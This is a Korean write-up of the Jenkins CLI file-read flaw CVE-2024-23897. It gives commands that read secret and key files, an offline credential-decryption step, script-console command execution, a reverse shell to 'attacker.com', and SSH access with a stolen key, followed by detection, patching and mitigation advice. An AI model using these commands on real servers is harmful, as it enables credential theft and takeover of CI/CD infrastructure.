개요
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2024-23897 |
| CVSS 점수 | 9.8 (Critical) |
| 영향 제품 | Jenkins < 2.442, LTS < 2.426.3 |
| 취약점 유형 | Arbitrary File Read → RCE |
| 인증 필요 | ❌/⚠️ (설정에 따라 다름) |
| 발견 | Sonar, 2024년 1월 |
| 패치 | Jenkins 2.442, LTS 2.426.3 |
기본 원리: CLI 인수 파싱과 파일 확장
명령줄 인수(Command-Line Arguments)란
프로그램이 실행될 때 받는 텍스트 인수다. 긴 인수 목록을 파일에 저장해 재사용하는 패턴이 흔하다.
# 인수가 많을 때 불편한 방식
java -jar app.jar --server http://jenkins.com --user admin --password abc123 --timeout 30 --format json help
# @파일 방식: 파일에 인수를 저장하고 @로 참조
cat > args.txt << EOF
--server http://jenkins.com
--user admin
--password abc123
--timeout 30
--format json
EOF
java -jar app.jar @args.txt help
# → @args.txt 파일 내용이 명령줄 인수로 대체됨
args4j는 Java 커맨드라인 인수 파싱 라이브러리로, 이 @파일 기능을 기본으로 제공한다.
취약점: 입력 파일 검증 없음
Jenkins CLI는 args4j를 사용해 인수를 처리한다. 문제는 @파일경로에 서버 내부 파일 경로를 지정할 수 있고, Jenkins가 이를 아무런 검증 없이 열어서 파일 내용을 인수로 사용한다는 것이다.
# 의도된 사용
java -jar jenkins-cli.jar help @my-args.txt
# 공격: 서버의 /etc/passwd를 인수 파일로 지정
java -jar jenkins-cli.jar help "@/etc/passwd"
# ↑ 서버가 /etc/passwd를 열어 내용을 읽음
# /etc/passwd 첫 번째 줄이 Jenkins CLI 인수로 파싱됨
# 오류 메시지에 일부 파일 내용이 출력됨
파일 읽기 공격
# Jenkins CLI JAR 다운로드 (인터넷 접근 가능한 Jenkins 서버)
curl -O http://jenkins.victim.com/jnlpJars/jenkins-cli.jar
# 1단계: /etc/passwd 읽기
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
help "@/etc/passwd" 2>&1 | head -20
# → 첫 번째 줄(root:x:0:0:root:/root:/bin/bash)이 에러 메시지에 포함
# 2단계: 민감한 파일 읽기
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
help "@/etc/shadow" # 비밀번호 해시
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
help "@/var/lib/jenkins/secrets/master.key" # Jenkins 마스터 키
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
help "@/var/lib/jenkins/secrets/hudson.util.Secret" # 암호화 시드
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
help "@/var/lib/jenkins/credentials.xml" # 저장된 자격증명 (암호화됨)
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
help "@/home/jenkins/.ssh/id_rsa" # SSH 개인키
RCE로의 확대
방법 1: Jenkins 자격증명 복호화 → 스크립트 콘솔
1. /var/lib/jenkins/secrets/master.key 읽기
2. /var/lib/jenkins/secrets/hudson.util.Secret 읽기
3. /var/lib/jenkins/credentials.xml 읽기 (암호화된 자격증명)
Jenkins 자격증명 암호화 방식:
- hudson.util.Secret이 AES 키로 사용됨
- master.key는 hudson.util.Secret을 보호
- credentials.xml의 {AES256:...} 값이 실제 비밀번호
복호화 방법 (오프라인):
python3 jenkins-decrypt.py master.key hudson.util.Secret credentials.xml
→ 평문 비밀번호 획득
복호화된 관리자 계정으로 Jenkins 로그인
→ 스크립트 콘솔(Jenkins 관리 → Script Console)
→ Groovy 코드 실행 → RCE
// Jenkins 스크립트 콘솔에서 RCE (관리자 권한)
println "id".execute().text
println "cat /etc/shadow".execute().text
// 리버스 쉘
["bash", "-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"].execute()
방법 2: SSH 키 탈취
# Jenkins가 배포/운영 시스템에 SSH 접근하는 경우
# SSH 개인키를 탈취해 해당 시스템에 접근
java -jar jenkins-cli.jar -s http://jenkins.victim.com/ \
help "@/var/lib/jenkins/.ssh/id_rsa"
# 탈취한 키로 SSH 접근
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa user@production-server.com
인증 요구사항
| Jenkins 설정 | 공격 가능 여부 |
|---|---|
| 익명 사용자 읽기 허용 | ✅ 완전한 비인증 공격 가능 |
| 최소 권한 계정 (Overall/Read) | ✅ 파일 읽기 가능 |
| 인증된 사용자만 접근 | ⚠️ 유효한 계정 하나만 있으면 공격 가능 |
많은 조직이 내부 Jenkins에 익명 읽기를 허용하거나, 광범위한 사용자가 읽기 권한을 가진다.
탐지 방법
# Jenkins 로그에서 @/ 패턴 확인
grep -E '"@/|@\\.\\.' /var/log/jenkins/jenkins.log
# 또는 Jenkins 로그 위치
grep -E '"@/' $(find / -name "jenkins.log" 2>/dev/null)
# 버전 확인
curl http://jenkins.victim.com/api/json | python3 -m json.tool | grep version
대응 방법
# 즉시 패치
# Jenkins 2.442 또는 LTS 2.426.3으로 업그레이드
# 패치 전 임시 조치: CLI 완전 비활성화
# Jenkins 관리 → 보안 → CLI 통해 원격 API 접근 허용 → 체크 해제
# 또는 Jenkins URL + /configureSecurity/에서 설정
# 익명 읽기 비활성화
# Jenkins 관리 → 보안 → 권한 부여 전략 → 로그인한 사용자에게 Allow 읽기 권한 부여 해제
교훈
1. 서드파티 라이브러리의 숨겨진 기능
- args4j의 @파일 확장 기능이 설계 문서에 명시되어 있지만
이것이 서버 파일 시스템 접근으로 이어질 것을 Jenkins 팀이 고려하지 않음
- 외부 라이브러리 도입 시 모든 기능의 보안 영향 검토 필요
2. "파일 읽기"의 심각성 과소평가
- 원격 파일 읽기 = CVSS 9.8이 되는 경우 많음
- master.key + hudson.util.Secret만 있으면 모든 저장된 비밀 복호화 가능
- "파일 읽기 = 정보 유출"에서 "파일 읽기 = RCE" 체인이 자주 발생
3. CI/CD 서버의 특수한 위험성
- Jenkins는 배포 파이프라인에서 모든 시스템에 접근하는 키를 보유
- Jenkins 장악 = 전체 배포 인프라 장악 가능
- CI/CD 서버를 내부망 깊은 곳에 격리하고 최소 권한으로 운영해야 함